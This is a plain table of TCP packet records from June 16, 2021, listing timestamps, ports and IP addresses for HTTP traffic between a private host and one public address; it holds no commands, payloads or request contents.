Jun 16, 2021 12:05:57.553774118 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.553790092 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.553792000 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.553824902 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.554519892 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.554548979 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.554579973 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.554588079 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.554596901 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.554620981 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.554627895 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.554636955 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.554651976 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.554663897 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.554665089 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.554694891 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.555680037 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.556793928 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.626823902 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.646867990 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.646908998 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.646929026 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.646945953 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.646950960 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.646975040 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.646976948 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.646991014 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.647022009 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.647034883 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.647053003 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.647080898 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.647085905 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.647102118 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.647140026 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.647151947 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.647241116 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.647274017 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.647281885 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.647315025 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.647337914 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.647346020 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.647353888 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.647368908 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.647384882 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.647386074 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.647401094 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.647416115 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.647419930 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.647435904 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.647456884 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.647567034 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.647602081 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.648178101 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.648226023 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.648243904 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.648263931 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.648283958 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.648319960 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.648320913 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.648344994 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.648361921 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.648380041 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.648386002 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.648401022 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.648418903 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.648420095 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.648442984 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.648449898 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.649178028 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.649205923 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.649226904 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.649229050 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.649252892 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.649260998 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.649269104 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.649285078 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.649301052 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.649302959 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.649321079 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.649333954 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.649337053 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.649353027 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.649369001 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.649462938 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.649502039 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.649976969 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.650206089 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.650244951 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.650263071 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.650295973 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.650300980 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.650305033 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.650326014 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.650341034 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.650356054 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.650365114 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.650379896 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.650394917 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.650396109 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.650409937 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.650424957 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.650427103 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.650455952 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.651485920 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.651505947 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.651531935 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.651544094 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.651550055 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.651566029 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.651581049 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.651582956 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.651607990 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.651611090 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.651623964 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.651638985 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.651654005 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.651657104 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.651669025 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.651688099 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.652076006 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.652106047 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.652115107 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.652139902 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.652157068 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.652170897 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.652192116 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.652218103 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.652225018 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.652236938 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.652254105 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.652270079 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.652270079 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.652285099 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.652298927 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.652301073 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.653022051 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.653045893 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.653048992 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.653062105 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.653079033 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.653099060 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.653130054 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.653408051 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.653439999 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.653462887 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.653486013 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.653502941 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.653532982 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.653539896 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.653556108 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.653572083 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.653584957 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.653587103 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.653611898 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.653619051 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.653630972 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.653646946 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.653661013 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.654366970 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.654402971 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.654405117 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.654441118 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.654472113 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.654473066 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.654491901 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.654525042 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.654526949 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.654544115 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.654568911 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.654577017 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.654586077 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.654613972 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.654614925 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.654633045 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.654664040 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.654787064 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.655067921 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.655316114 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.655333042 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.655375004 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.655378103 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.655405045 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.655419111 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.655435085 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.655447006 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.655474901 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.655479908 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.655494928 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.655512094 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.655524969 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.655527115 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.655558109 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.655924082 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.656307936 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.656336069 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.656343937 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.656359911 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.656382084 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.656390905 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.656398058 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.656413078 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.656428099 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.656428099 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.656444073 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.656457901 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.656459093 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.656476974 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.656486988 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.657270908 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.657289982 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.657305956 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.657305956 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.657322884 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.657335997 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.657849073 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.657881975 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.669409037 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.669411898 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.669466019 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.669630051 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.673259974 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.691314936 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.691346884 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.691365004 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.691380024 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.691386938 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.691396952 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.691412926 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.691412926 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.691428900 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.691445112 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.691447020 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.691461086 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.691479921 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.691479921 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.691497087 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.691514015 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.691643953 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.691663027 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.691679001 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.691688061 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.691704035 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.691720963 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.691725016 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.691751957 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.691759109 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.691782951 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.691818953 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.691853046 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.692133904 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.692276955 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.692305088 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.692332029 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.692342043 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.692362070 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.692388058 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.692397118 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.692404032 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.692419052 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.692434072 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.692435980 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.692471981 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.693182945 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.693547010 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.717242002 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.805686951 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.805716038 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.805732965 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.805749893 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.805764914 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.805780888 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.805794954 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.805809975 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.805824041 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.805826902 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.805845022 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.805845976 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.805862904 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.805862904 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.806045055 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.806087017 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.806102991 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.806127071 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.806157112 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.806171894 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.806190968 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.806191921 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.806221008 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.806237936 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.806252956 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.806267977 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.806271076 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.806282997 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.807018042 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.807045937 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.807073116 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.807089090 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.807104111 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.807131052 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.807146072 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.807162046 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.807166100 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.807177067 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.807193041 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.807208061 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.807229042 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.807722092 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.807985067 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.808011055 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.808036089 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.808056116 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.808060884 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.808077097 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.808092117 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.808106899 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.808123112 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.808125019 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.808139086 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.808157921 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.808192968 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.808271885 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.808968067 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.808994055 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.809020996 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.809037924 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.809046984 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.809063911 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.809078932 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.809082985 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.809098005 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.809114933 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.809129953 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.809144974 CEST	80	49169	172.67.158.27	192.168.2.22
